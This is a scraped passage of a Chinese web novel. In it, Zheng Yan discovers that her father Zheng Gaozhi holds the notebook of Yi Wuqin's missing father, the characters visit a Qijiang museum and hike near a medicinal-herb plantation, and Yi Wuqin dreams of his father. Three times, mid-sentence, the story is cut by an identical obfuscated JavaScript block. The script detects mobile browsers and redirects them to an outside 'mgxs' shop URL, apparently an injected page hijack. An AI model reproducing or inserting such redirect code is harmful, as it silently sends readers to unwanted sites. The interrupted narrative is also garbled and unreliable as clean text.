这个清明假期对于郑燕来说,太不寻常了。 不寻常到她都忽略和小张的不愉快。 另一件更重大的事情占据了她整个心。 那本在书房找到的笔记本,郑燕用这个假期大致翻完了。她知道这本笔记本的主人并不属于这个家里任何一位。 这是易无钦那失踪的爸爸的。 笔记本的内容都是学术性的知识,是僚人这个民族的信息。郑燕对此并不大感兴趣。唯一让她稍微看进去的,是最后几页记载了一种植物,还画了叶子的形状。 郑燕一眼就认出这是毛黄堇,本地人叫干岩矸,治跌打损伤的。这种草药在宾化有分布,每年还有药材商专门来收。 毛黄堇在庙坝的下乐村有一个种植点,得有十多年的历史了。 那个种植点附近有郑高志的煤矿。 易无钦的爸爸把毛黄堇记上去,又没写相关内容,难道是一种线索? 郑燕已经不敢细想了。 这个笔记本在她家书房里出现,那就意味着,易无钦爸爸的失踪跟郑高志有关。 她不敢去找郑高志问这件事,只能找机会把笔记本放回原处,假装自己没发现这个笔记本。 * 杨欣早就发现了郑燕的反常,她也知道她和小张在节前就吵架了。 “你说,是不是那天把小陈带到家里来,她不高兴了?”杨欣找宋兰芳分析。 宋兰芳却摇头,“我们那天只是说交朋友,没说其他的呀。燕燕也不是这么多心的人,应该没想到这一层吧。” 杨欣觉得她说得对,“那应该还是和小张吵架的事情。” “他俩这次为啥吵架?”宋兰芳好奇问。 杨欣撇嘴,“不知道。反正他俩经常吵架,燕燕每次也不跟我说原因。” “那你觉得,小陈怎么样,能成吗?”宋兰芳问。 “小陈很不错,”杨欣叹了口气,“只是燕燕现在还转不过弯来。” 两人在院子里低声说话,郑咏絮从外面回来。 “妈,伯母,你们在说啥子,嘀嘀咕咕的?” 宋兰芳朝她招手,“你过来。” 郑咏絮听话地走过去。 “你姐姐这两天心情不好,你多陪陪她,开导一下。” 郑咏絮挑了挑眉,“她为啥心情不好?和小张吵架了?” “应该是。这个事情你也好好跟她聊一聊。”宋兰芳说。 杨欣见郑咏絮心情很不错,眼角眉梢都是笑意,忍不住问,“雪雪,你这两天有啥子大喜事吗?” “啊?什么?”郑咏絮装糊涂。 宋兰芳瞥了她一眼,“跟超超耍朋友了?” 郑咏絮一愣,想矢口否认,可当着妈妈和伯母两双犀利的眼睛,无论如何也装不下去。 “咳,那什么,上次我看姐姐在看考公的书。我跟她说了隔壁镇的药物种植研究所要招人,下个月公告就出来了。她与其考齐城去还不如就在家附近,专业又很对口。”郑咏絮迅速转移了话题。 宋兰芳一拍手,“那个研究所我晓得,我有个同学在里面上班。”她对杨欣说,“那是个好地方,而且是市级的研究所,燕燕可以去。” 杨欣眼睛一亮,“可以可以,我去给她说考研究所。” 宋兰芳赶紧拉住她,“你莫慌。” 她耐心解释,“你就这样去说,燕燕会认为你是为了拆散她和小张,反而激起了她的逆反心理。我们慢慢商量。” 郑咏絮说,“伯母,你看这样行不行?这个周末我和易超要去綦江博物馆,我喊上姐姐一起去,让博物馆的馆长来对她说。” “馆长?” 郑咏絮点点头,“他是教授,前不久来了我们学校开讲座,效果好得很,全校师生都轰动了。他还认识易超的爸爸,所以我们和他关系很好。他还劝易超也考个事业编。我想,他那么能说,一定能说服姐姐。” “好好好,雪雪,你带你姐姐一起去。”杨欣一边说一边从口袋里掏出钱来,数也不数,给了十多张红色的塞到郑咏絮手里,“你们去綦江的费用我全出了,好好耍。” 郑咏絮赶紧推辞,“哎呀,伯母,你给我钱干啥子?我已经是领工资的人了,出去耍不需要你出钱。” “你拿着,”杨欣不准她拒绝,“不是要喊你一定劝服姐姐,就当是带她出去散散心,也很好。” * 郑咏絮一脸兴奋跑去找郑燕,见她房门没关,便大剌剌进去了,“姐,你没睡吧?” 郑燕侧躺在床上,背对着门口,默默想着心事。听见了她的声音,却仍然一动不动。 “姐,你怎么了?生病了吗?”郑咏絮一边关心地问,一边爬上床,一边就要去摸郑燕的额头。 郑燕不耐烦地拍开她的手,“没病。” “姐,那你转过来看。”郑咏絮语气兴奋。 郑燕不想理她,没有说话。 郑咏絮不肯罢休,“你看嘛,你看嘛。” 郑燕被她烦到,只好无奈地转过身,却看见身边一铺的百元大钞。 “你干啥子?” “哈哈哈,”郑咏絮得意地笑,“这是我们的经费,出去耍的经费。” “啥?” 郑咏絮笑嘻嘻说,“我计划这个周末去綦江耍,你跟我一起嘛。” “去綦江耍?干嘛?就你和我?”郑燕淡淡地问。 “当然不是,还有超超。”郑咏絮在她耳边低声说,“我和超超在耍朋友。綦江那个博物馆馆长是他爸爸的好朋友,关系很好。他要好好见见我。你跟我一起去,帮我扎场子嘛。” 听郑咏絮说到易无钦,郑燕顿时感觉浑身不自在,本能就拒绝,“我不去。” “哎呀,你去嘛你去嘛。我害羞。”郑咏絮摇晃着她的手臂撒娇。 郑燕不想理她。 郑咏絮也不气恼,继续磨她,“周末两天你都和我们一起。星期六去綦江,当天去当天回。星期天金盛带我们去徒步,庙坝的下乐村去徒步。” “哪里?”那几个字像针一样刺痛了郑燕的神经,她不得不坐起来,“你说星期天去哪儿?” “下乐村呀。”郑咏絮重复了一遍。 郑燕忽然有些紧张,“你们去那里干啥子?” “徒步呀。”郑咏絮睁大眼睛看着她,继而又笑起来,“你也去吧,要去吧?” 郑燕脑中有些懵然,下意识说,“去吧,我也去。” * 时间很快就来到了周六。 金盛走不开,帮他们叫了个包车。归望镇离綦江并不远,费用也不高。 周末的博物馆人略多,甚至还有附近学校的学生组团来参观学习。 姜放早就在门口等着,带他们去看僚人的馆藏。 綦江的僚人文化远比宾化丰富,博物馆也专门开辟了一层展示。 “你们之前就有一些了解,自己慢慢看嘛。不懂的再问我。”姜放让他们自己参观。 易无钦和郑咏絮对视一眼,决定慢慢看,最后再去看灵石。 郑燕对这些没啥兴趣,单纯是被拉来陪玩。她看见郑咏絮和易无钦之间哪怕不说话都是情意绵绵,远远比自己和小张在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595898|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起时甜蜜多了,心里就有些烦郁。渐渐地,郑燕就拉开了和他俩的距离,自己看自己的。 看了一会儿,郑燕实在觉得无趣,慢慢踱步到展厅外的露台上,眺望远处的风景。 “小燕。”突然有人在背后喊她。 郑燕回头一看,竟然是姜放,她立即礼貌地打招呼,“姜教授。” 姜放手里拿了一本书,“听咏絮说你是学医的。我这里没啥医学相关的,但这本书看你感不感兴趣。” 他将手里的书递过去。 郑燕接过来,发现是讲中草药的书,倒让她十分意外。 “这本是渝州地方志里关于中医和中药的部分,太专业了,我读不太懂也没怎么看。你是这方面的专家,帮我看看有没有和僚人相关的。”姜放笑呵呵。 郑燕主攻的的确是中草药方向,这本书读起来并不吃力。“谢谢教授,这本书很宝贵,方便的话能不能让我带回去看?” “这是我自己的书,不是博物馆的馆藏,当然可以带回去。”姜放指着书,“这里面其实也有历史。俗话说,沧海桑田。同样一种植物,古代人所看到的跟我们现在看到的可不一样。” 郑燕笑道:“的确如此。而且同样一个物种,在宾化和在綦江这种相隔不远的地方,也会发生不同的变异。” 姜放点点头,“宾化这地方很不错。抗战时还是种植和培育中草药的大后方,给战士们供给珍贵的药材。” 郑燕说,“对对。其实宾化的植被资源非常丰富,还拥有世上最古老的茶树。在这里的研究意义非常大。” 姜放面露赞许,“看不出小燕你年纪轻轻,知识和见识都相当不错。你是学医的,有什么打算吗?是不是要深耕这块土地,接过前人的衣钵把宾化甚至渝州的中草药研究下去?” 郑燕一愣,有些讪讪,“我还没想好。” 姜放倒也不追问,“你这么年轻,未来那么长可以慢慢想。你这样的家庭衣食无忧,倒也不用为了钱财发愁,那完全可以做自己喜欢的事情嘛。如果你真的很喜欢中草药,不妨坚持研究下去,吃得苦耐得劳,肯定能有一番建树。” “啊,我吗?”郑燕有些不自信地说,“我可能就平平静静过完一生吧,也没想过事业有啥大作为的。” “哎哟,你们年轻人就喜欢动不动说看透一生了,”姜放笑道,“你是这个专业,自己又喜欢,怎么不能大有作为?” 他指指她手上的书,“你先回去好好看看这本书,再慢慢去想长远的事。” * 僚人博物馆里更多是对这个民族文化历史的介绍,和一些生活场景的复原,真正的文物不算多。 但两人也有意外的发现。 “这可是真正的铜鼓。”易无钦和郑咏絮对着玻璃柜里的文物啧啧感慨。 玻璃柜里的铜鼓和两人脖子上的金坠子形状差不多,只不过要大很多,也古朴多了。 “鼓中间画的是太阳吧?”郑咏絮仔细辨认着,“旁边那些花纹是星辰?云朵?” 易无钦也认真分辨,“好像是吧。反正不会是青蛙。” 看完了铜鼓,两人再跟着介绍去看,在一个临摹的石刻上发现了青蛙。 “这是被他们称作蚂拐的青蛙?”郑咏絮撇撇嘴,“没那段介绍叫我就这么看,根本不可能知道这是青蛙。” “哈哈哈,”易无钦也觉得很难认,在旁边的文字介绍上,这段图案是刻画的长奶妇人、鱼凫和蚂拐,象征着僚人对繁衍的祝愿。 再往前走,就到了两人此行的目的, 僚王号角的灵石宝座。 37. 郊游 那是一对看起来应该是牛角制成的号角,被放在一块大石上。大石跟一个电脑桌差不多大,看上去普普通通,没什么特别之处。 这个象征僚王权力的灵石,并没有像其他文物一样放置在玻璃罩里,而是用红色警戒线拉了围着。 郑咏絮盯着灵石看,心里冒出大胆的想法,“我们,要不要去摸一下灵石试试?” 易无钦也很紧张,“可以摸吗?这样不好吧?毕竟是文物。” “我也不知道。它都没放进玻璃罩里能有多珍贵。我主要是害怕它吸走我们的魂,”郑咏絮说,“还是该把郑飞带来试试。” 两人站在灵石前,心中无比纠结该不该大着胆子摸一下。 “你,有没有什么感应?”郑咏絮问他。 易无钦摇摇头,“我觉得它就是一块普通的石头。” “我觉着也是。”郑咏絮附和,“你说咱们白天看了灵石,晚上会不会做梦?” 易无钦想了下,“按照之前的惯例,应该会。” 郑咏絮咳了一声,“我觉得有些气闷,有点窒息。” “我也有点,不会是里面空气不好吧?要不我们出去?”易无钦拉着郑咏絮就要往外走。 郑咏絮却摇头,“不是,我觉得是我们离开了归望镇的反应。我当时去东北也这样。” 易无钦心里一沉,他让郑咏絮看自己脖子上的红痕,仿佛又加重了点。 “催命呢。”郑咏絮朝天上翻了个白眼。 “咱们跟姜叔说一声,就不吃午饭了,回宾化吃。”易无钦说。 * 郑燕向姜放仔细说明了郑咏絮过敏的体质,姜放也没有强求他们吃午饭。 “你这过敏怎么越来越严重了。我记得以前去渝州你都没事的,怎么今天去个綦江,你都不舒服了?”郑燕在车子后排照顾郑咏絮。 郑咏絮撇嘴,“我怎么知道?本来还指望你学成神医能治我的病呢。” 郑燕蔑了她一眼没说话。 “那咱们下午干嘛?”易无钦在前排忍住不适问道。 郑燕说,“等下在宾化吃了饭,我先回家,你们去耍朋友。” 郑咏絮却拉住她的胳膊,“姐,咱们下午去唱歌吧,好久没去唱歌了。” “唱歌?”郑燕忽然一阵恍惚,她其实是很喜欢去k歌的,但是小张不喜欢,觉得不是正经爱好,连带着她也基本上不去了。 想起这次的吵架,郑燕心一狠,“走吧,唱歌。” * 出乎意料的是,易无钦和郑咏絮晚上并没有做梦。 大概綦江博物馆那块灵石,真的跟鬼王和他们都没有关系。 这竟让他们有一丝怅然若失。 第二天天气倒是挺好,不冷不热。金盛把旅馆的事情交代父母后,开车带他们去庙坝的下乐村。 下乐村的路倒是没有“华容道”那么陡峭,金盛带他们走的也是好走的路,坡度相对平缓。 这个时节油菜花早就开过了,放眼山间的田野,是深浅不一的绿色,间杂不知名的野花。易无钦和郑咏絮四处张望,要将一切景色尽收眼底。 毕竟在梦里,鬼王只能指引他们去到过的地方。 “这个月金佛山杜鹃花开了,有空带你们去看。”金盛走在前面,一边欣赏美景一边说。 郑咏絮嘻嘻一笑,“金佛山人多,我还是喜欢归望镇的美景。” 再往山上走,就看见大片大片的棚子,在一片绿意中特别显眼。 “这里是啥蔬菜基地吗?”郑咏絮好奇道。 金盛指了指,“不是,是种干岩矸的。” “啥东西?”易无钦听不懂。 金盛挠挠头,不知道学名叫啥,也不知道怎么解释,“就是一种中草药。” 郑燕在后面接话,“土话叫干岩矸,学名叫毛黄堇,治跌打损伤的。”说完,她心下一沉,下意识看向易无钦,不知怎么竟有几分心虚。 “哦,长见识了。”易无钦点点头,一脸的受教。 看来易无钦并不知道他爸爸关注这种植物的事情,郑燕轻轻松口气。 郑咏絮一听跟中草药有关,有心要潜移默化引导郑燕,赶紧说,“金盛哥,你带我们去看看那个干岩矸嘛,让我们涨涨见识。” 郑燕一听,立马慌了,“不用了吧,我们还要爬山嘛。那个干岩矸到处都有,没啥好看的。” “哎呀,走嘛,走嘛。本来就是出来耍,就是要到处看看。”郑咏絮不由分说要金盛带他们去看。 “哎,哎……”郑燕想阻止却找不到理由,眼见他们已经往那些大棚走了,只好赶紧跟上去。 种植毛黄堇的大棚大片大片的,外围并没有用铁丝网围着。金盛告诉他们,这地方来的人少,棚里安装了监控,也不怕有人偷。 毛黄堇确实外形平平无奇,没有那些盛开的油菜花、杜鹃花、映山红赏心悦目。在他们外行看来,同样是大棚里的东西,这跟黄瓜、茄子、辣椒等蔬菜也没啥区别,确实算不上啥景色。 “姐,你最懂,你看这长势怎么样?”郑咏絮问道。 郑燕抬眼望去,这里不过是归望镇的山里平平无奇的地方。不仅种植的毛黄堇普通,连山坡都是寻常的,很难说跟易无钦的爸爸有什么关系。 她看见郑咏絮一双大眼睛炯炯有神盯着自己,略略平复了心神,“长势当然可以。这里的大棚都种了好多年了,种植站很有经验。” 郑咏絮似懂非懂点点头,随便指着远处的一个山头,“我记得伯父有个煤矿在附近吧。” 郑燕没有回答,金盛倒是抢答了,“对头,离这里不远,走过去二十分钟吧。” 郑咏絮对郑燕说,“姐,干脆你也去种植中草药吧,将就伯父之前的地皮和设备,加上你的专业知识,前景好得很。我们都来给你打工。” 这虽然是玩笑话,但对于心事重重的郑燕来说,越是提到郑高志越是让她烦忧,一时间脸色有些发白。 郑咏絮看她脸色不好,吓了一跳,觉得可能是自己说话有点过了,“姐,你是不是走累了,我们去前面休息下。” 金盛见状,连忙说,“前面有个休息的地方,是种植站的办公室,我们去那里休息嘛。” 说完就要带着他们去,易无钦却朝他们挥挥手,“你们去休息,我在这里看看风景。” 郑燕一听,就着急了,顾不得许多,“别别,要休息大家一起休息,要看风景大家也一起。” “啊?”郑咏絮疑惑地看着她,“姐,你还怕我们几个在这里走散了遇到危险吗?这里能有啥危险?” 郑燕不知该如何解释,张嘴说不出话。 易无钦见此情形,倒也没坚持,“我也看得差不多了,咱们一起去休息吧。” 他走过来和三人汇合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596503|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起往种植站的办公室而去。 趁人不注意,郑咏絮悄悄问他,“我姐怎么怪怪的。” 易无钦想了想说,“你不是说她和男朋友吵架了吗?大概心情不好所以就怪怪的吧。咱们要多理解下她。” “哦,”郑咏絮深以为然,她又问,“那要是我们吵架了也这样?” 易无钦轻轻笑,“我尽量不跟你吵架。” * 在种植站的办公室休息好后,几人继续出发。 金盛带领他们一路走,来到一个小水潭处,“这里是个小景点。” 这是处幽静的水潭,四周怪石嶙峋,植被茂密。在水潭上方,石壁中间,一束水流从中而下,溅起一片微不可见的水雾。 “这也能叫景?很常见嘛。”郑咏絮撇撇嘴。 易无钦笑道,“这叫小瀑布吗?虽然不那么气势恢宏,但也清雅别致。”他走到水潭旁,看见里面的水清澈见底,忍不住伸手掬一把。 然而四月天的山泉水,仍然冰冷沁骨,触之冻手。易无钦觉得,这跟东北的化雪水有的一拼。 “这也算不上小瀑布吧,只能叫小水流。”郑咏絮指着石壁说。 金盛在旁边点点头,“这确实不能叫瀑布,我们给这种景起了专门的名字。” “叫啥?”易无钦和郑咏絮认真去听。 “马尿水。” 易无钦:…… 郑咏絮:…… 又往上走,金盛带他们来到了另一处景点。 “刚刚那个马尿水你们觉得一般,那这个应该不错。”他指着面前说。 众人此时站在一处山洞的石崖下,面前已经没路了——也不能说没路,而是这路没办法走了。 这是一处石壁,一边是大石,一边是悬崖,面前的路坑坑洼洼,靠近大石的一侧还有一条巴掌宽的水流。水流旁的泥土倒也歪歪斜斜成路,但以他们几个的水平,走不了。 “这是要我们看啥?”郑咏絮大惑不解。 郑燕指着那条水流说,“这是水渠。” 金盛赞许地朝她点头,“对对,水渠,这是挂壁水渠。” “哦。”郑咏絮的语气里明显有失望,在她看来,这水渠也没啥好看的。 金盛笑了笑,“别小看这小小的水渠,这个工程不得了。” “啊?啥意思?”易无钦不解地问道。 金盛说,“这是六十年代那会儿,人们为了出行和取水方便,用钢钎和铁锤一下一下在悬崖上凿出来的。你们看看旁边这悬崖,高不高?危不危险?看得我的脚都打闪闪。再看看这些石壁,可想而知那个年代多么不容易。” 六十年代,那不就是三线建设开始的时间吗? 易无钦想到这里情绪有些复杂。在当年,来自东北的前辈们大概是来过这里的,那自己的爸爸妈妈是不是也来过呢? 他默默地看着挂壁水渠,看着旁边的悬崖,仿佛隔空看见了自己爸爸妈妈也在这里看。 “金盛哥,这下乐村还有啥子好耍的地方?”郑咏絮问道。 金盛指指上面,“上面还有个天坑,但是没开发出来,我也不能带你们去,危险得很。周围有些古代的图腾符号,说是以前生活在这里的巴人留下的。反正我们也看不懂,没啥意思的。” 古代图腾符号? 易无钦和郑咏絮相望一眼,不约而同想到了僚人。 38. 父亲 “下乐村我知道,文物普查的时候我也去过。那里确实有僚人生活过,只不过比不上綦江多。”姜放在电话里说。 易无钦又追问,“那这个地方会有灵石吗?” “肯定会有,有僚人生活的地方就有灵石。”姜放顿了顿,“我发现你们对灵石很感兴趣的样子。” 易无钦嘿嘿一笑,“写小说嘛,当然要了解很多知识呀。我准备把灵石写成一个重要的道具,得到灵石就能得到巨大的力量。” “哦,呵呵呵。”姜放笑了几声。 “对了,姜叔,那下乐村的灵石你有没有见过呢?” 姜放回忆了下,“没见过。僚人的灵石本来也不统一,啥样都有,丢在野外你都不知道那就是灵石。博物馆这个都是好不容易保存下来的,更别说下乐村这种本来也没多少僚人的。” “哦。”易无钦的语气里带了些失望。 姜放又问候了下郑咏絮的身体情况,两人这才挂了电话。 * 当晚易无钦和郑咏絮都是早早入睡。 的确也做起了梦。 但很难说这是鬼王托的梦。 因为梦里只有易无钦,没有郑咏絮。 在梦里,易无钦独自走在下乐村的山坡上。没有前几次的飞头僚,甚至连手上的定魂珠也安安静静,没有发出红光。 天气倒是比现实中好得多,易无钦眯着眼去看日头,一点也不刺眼,照在身上很暖和。 四周是大片大片的毛黄堇,就那么生长着,没有大棚。 易无钦不知道这个场景意味着什么,他只是觉得这种感觉很舒适。好像人生都慢了下来,再也不用去思考关于祭童、鬼王、生死的问题,回到了童年那个充满爱的无忧无虑。 他在一片毛黄堇中躺了下来,随手拿过一只植物来闻。可这是在梦里,是闻不到味道的。 这时,他听见身旁传来一阵轻笑,很熟悉的声音。 易无钦连忙坐起身来,循声而去,却只看到一个背影。 在梦中,他并不需要依靠逻辑去判断和分辨。所以,他直接就认出来,那是爸爸的背影。 “爸爸!”易无钦忍不住喊出声来,起身追着背影而去。 那道背影始终背对着他,离他五米远。易无钦追过去,背影也跟着前进,与他始终保持同样的距离。 易无钦知道追不上他,只好停下来。 “爸爸,我长大了,下个月就二十三岁了。”他朝着那道背影喊。 背影仿佛并没听到他说话,只专心做着自己的事。从易无钦的角度看过去,能看到他穿着经常穿的那件洗得发黄的白衬衣,外面是妈妈亲手织的棕色毛衣背心,脚上一双方便爬山走路的解放胶鞋。他正拿着一个笔记本,在上面记着什么。 易无钦就那么看着,自顾自说话, “爸爸,妈妈也失踪了,你有没有见过她?” “爸爸,姥姥去年走了,现在家里就我一个人。” “爸爸,我遇到了姜放叔叔,是你以前的朋友。还有郑叔叔宋阿姨,他们都记得你和妈妈。” “爸爸,我谈恋爱了,是郑叔叔宋阿姨的女儿,叫郑咏絮。是妈妈给她起的名字。” “爸爸,我好想你们。” …… 巨大的悲伤如潮水向易无钦来袭,将他整个人包裹住。梦里的悲伤往往比现实中更加强烈,易无钦就站在那里哭,要把压抑多年的情感全都宣泄出来。 背影好像有所感应,转过了身。 易无钦看清了他的脸,是爸爸。 爸爸还是当年的样子,眉眼和他现在很相似,只是看上去更平和。 爸爸抬起头,看向了易无钦的方向。 “爸爸!”易无钦惊喜地朝他喊。 爸爸朝他走过来。 易无钦激动得一动不敢动,生怕一动爸爸就会消失。他直直站着,甚至连呼吸都放轻了。 爸爸一步一步靠近他,越来越近,三两步就到了面前。 易无钦颤抖着抬起手臂,想抱住爸爸。 可爸爸却像没有实体一样,最终穿过了他的身体,继续朝前走。 易无钦愣在原地,难以置信转头看向爸爸的方向,忍不住追了上去。 爸爸这下走得很快,一转眼就走到山崖下去了。 “爸爸!”易无钦慌乱地冲过去,想抓住爸爸。可到了山崖边,却像是有无形的屏障拦住了他。 他过不去,只能趴着崖边向下张望。 山崖下是一片片茂密的森林,根本没有爸爸的身影。 “爸爸!”易无钦在大喊中醒了过来,枕头上全是泪水。 * 这些日子一直在忙的郑高志,在杨欣的絮叨下终于注意到了女儿郑燕的反常。 他心里有些歉疚,这段时间忙着盯金万堂,疏忽了对女儿的关心。恐怕和郑咏絮说的话都比跟她说的多。 抛开那些神神鬼鬼的事情,自己也该当一个尽责的父亲。 他决定找郑燕好好聊聊。 晚饭后,郑高志走上楼去,发现郑燕正在房间里发呆,不知在想什么。 他轻咳一声,“燕燕。” 郑燕回过神来,也不说话,盯着他看。 那眼神让郑高志心里有些发毛。 “你有空没得?爸爸想跟你谈谈心。”郑高志温和地说。 郑燕点点头,“我有空。正好我也有事情要跟你谈谈。” 她说完就站起身,走出房间来到书房,转头示意郑高志也到书房来。 郑高志进入书房后,郑燕关上了门,“别让妈妈知道。” “爸,你先说吧,你找我啥子事?”郑燕先开口。 郑高志定了定神,“我看你最近脸色不好,是不是身体不舒服?要不要去医院看看?” 郑燕摇头。 郑高志继续说,“我转了五千到你银行卡上,你自己拿去零花,买点吃的喝的。如果想出去旅游,我再转两万给你。” “谢谢爸,我不出去。”郑燕静静地看着他。 “你和小张怎么样了?” 郑燕垂垂眼,“吵架了在冷战。” “唉,你们老是吵架也不是个好事。如果不合适不要勉强。”郑高志语重心长说,“我和你妈妈都希望你幸福。我们给你存了很多钱,以后买房买车都不是问题。哪怕你不上班都可以。但是你不要委屈了自己,我们也不希望你常年受气。” “爸,我知道了,如果你要说的就是这个,那就先不说了。”郑燕赶紧打断了郑高志的话,她害怕自己心软下来,再也没有勇气质问那件事。 郑高志叹了口气,“我要说的话主要就是这些,你不想听我就不说了。” “爸,我不是不想听,是现在我不想听。我有其他事情跟你说。”郑燕说完话,静静看着郑高志。 “那你说吧。” 郑燕沉默片刻,开了口,“前两天周末,我都和雪雪还有她男朋友易超一起的。我们去了下乐村,看毛黄堇。” “下乐村?”郑高志心里蓦地一沉,好像预料到女儿要说什么。 郑燕起身走到书柜前,打开最下面的柜门,从最深处抽出了那个笔记本,放到郑高志面前。 “这是易超爸爸的笔记本,对吧?” 郑高志脑中轰的一声,一片空白,过了好久才恢复过来。他盯着那个笔记本,浑身忍不住颤抖起来。 郑燕把他的反应都看在眼里,一颗心沉沉坠入深渊。她听见自己问出了那个最难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602434|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受的问题,“爸爸,易超爸爸的失踪跟你有没有关系?是不是你?” “不是我!”郑高志近乎失控地喊了出来,“不是我,我不知道他的下落。” “那这个笔记本为什么会在我们家的书房里?”郑燕死死忍住眼泪,低声问道。 郑高志一把抓起笔记本,紧紧拽在手里,“这是我捡的,是我捡的。” 他抬头看见郑燕复杂的神色,急忙辩解,“我真的没有,燕燕,你要相信爸爸。如果是我杀了他,那我还留下这个笔记本干啥子?” 郑燕轻轻松了口气,她知道自己爸爸虽然贪财,虽然煤矿上也有些不明不白的事情,但真的要杀人,他也干不出来。 她之前怀疑的是,爸爸意外造成了对方的死亡。 但现在亲口听见他说没有,郑燕选择相信自己的爸爸。 “爸爸,那到底是怎么回事?” 郑燕的问话让郑高志的思绪飘回到当年。 那段时间鬼王山的大小煤矿都在整顿,上面随时要下来检查。他带头在矿区加班加点工作。 他早就跟易松涛打过照面。这是个对当地风土人文很感兴趣的人,跟着五六-四厂勘探队的来鬼王山勘探过,还跟金万堂聊过天。 在庙坝那个煤矿附近,郑高志看见过他好几次。每次都是他一个人,拿个笔记本写写写。 郑高志觉得他不过是一个读书人,不大想理会他。 可有一次跟煤矿里的工人闲聊,工人们说起易松涛在找他们打听鬼王、将军、少数民族之类的,这让他心中一惊。 那时正是煤矿高速发展的时候,从矿里一车车拉出去的是煤,回来的是大把大把的钱。 而他们煤矿比其他煤矿更赚钱的原因就在于金万堂跟他说的鬼王。 郑高志害怕易松涛研究这里的事会泄露鬼王的秘密,下令矿里的工人不许搭理他。有两次碰到了,还出言赶他离开。 “燕燕,我真的没有对他动手。” 郑燕从他手中拿过笔记本,抚平皱了的封面。 “这笔记本真的是我捡的,在下乐村那里。”郑高志告诉她,笔记本出现的地方就是现在种植毛黄堇的地方。 郑燕问,“就只有笔记本,人呢?” 郑高志摇头,“没看到,那几天下雨,山里路滑。”他沉默片刻,“估计掉到崖下去了。” “警察去那里找过没?” “找过的,没找到。警察还来矿里询问了。”郑高志看着笔记本,他看不懂里面的知识,不知道里面是不是有关于鬼王的记载。但他始终怀抱一分希望,金万堂不愿告诉他的事情,可能笔记本里有答案。 郑高志甚至还想过把笔记本交给郑咏絮,她是祭童说不定能看懂什么。但还没来得及说,易无钦就来到了归望镇。 虽然易松涛的失踪与他无关,可是这个笔记本的确是在他手上。藏了这么多年,能说清吗?他信不过郑咏絮,更信不过易无钦。 “燕燕,这个事情说不清楚。除了你,不能有其他人知道笔记本的事情。雪雪和她男朋友不能,还有你万堂公公,绝不能晓得。”郑高志郑重其事叮嘱。 “万堂公公?”郑燕疑惑地看着他。 “这个事情你不会明白,但最不能让他知道。” 郑燕点点头,“我跟万堂公公本来就接触得少,不会让他知道。但是,你知道易超一直在找他爸爸妈妈吧?” 郑高志没说话。 郑燕叹了口气,“我也是为人子女的。爸爸,如果你有一天失踪了,我也会到处找你。” 她拿着笔记本,站起身来离开书房。 门一打开,正巧看见杨欣在门口忧心忡忡。 郑燕朝她笑笑,“妈妈,一切都没事了。” 39. 画画 金盛发现这两天,易无钦都呆呆的。 设计工作也不做了,恋爱也没心思谈了。总是一个人坐在那里出神。 “你这两天怎么了?和咏絮吵架了?”金盛觉得费解,“星期天去下乐村时你俩不是好好的吗?” 易无钦摇头,“没有,我俩好着呢。” 他叹息一声,“从下乐村回来我就梦见我爸爸了。梦见他在那片毛黄堇里,我叫他也不应。” “他肯定不能应。”金盛脱口而出,但见易无钦脸色不好,硬生生吞下了后面的话——死了的人若是在梦里跟你说话了,那可不是什么好事。 金盛拿起手机看了看天气预报,“这两天可能要下雨,等天气好时,我再带你去下乐村耍嘛。” 易无钦含糊地回应了一声。 他本来怀疑那个梦意有所指,是爸爸给他的线索。梦醒后早上第一时间他就去了派出所找刘层。 刘层翻出资料给他看,那一片他们都找过,一无所获。而且毛黄堇种植站在那里种了那么多年,若有发现早就发现了。 他一下又没了头绪。 金盛见他情绪始终不高,从特产店里拿了几包东西塞给他,“你好几天没去疗养院看郑飞了,你出去走走,帮我把这些带给他和梁婆婆。” 易无钦被金盛推出店里,无精打采往五六-四厂的方向走。 疗养院内,郑飞和梁婆婆见到他倒是很高兴。 “超超,你终于来了。快来看我画的画。”郑飞兴高采烈从床头翻出一个本子给他看。 易无钦接过来翻了几下。这是个普通的作业本,上面全是郑飞用圆珠笔画的。不得不说,郑飞画画虽然不成章法,没有技巧,但有点天赋,画的东西惟妙惟肖。 他画的都是易无钦给他放的电影场景,西游降魔、复仇者联盟、变形金刚之类的高燃场面。 “天天都在那里画画,倒也让我清静了很多。”梁婆婆笑着说。 “挺好的,我也是学画画的。画画有时很治愈人。”易无钦继续翻本子,“下次我给你带点专门画画的本子和画笔过来,你还可以涂色。” “太好了,太好了。”郑飞高兴地直拍手。 他拿过本子,在易无钦身边坐下,一张一张地给易无钦讲上面的内容。 易无钦也耐心地去听,暂时把心中的愁绪都抛开。 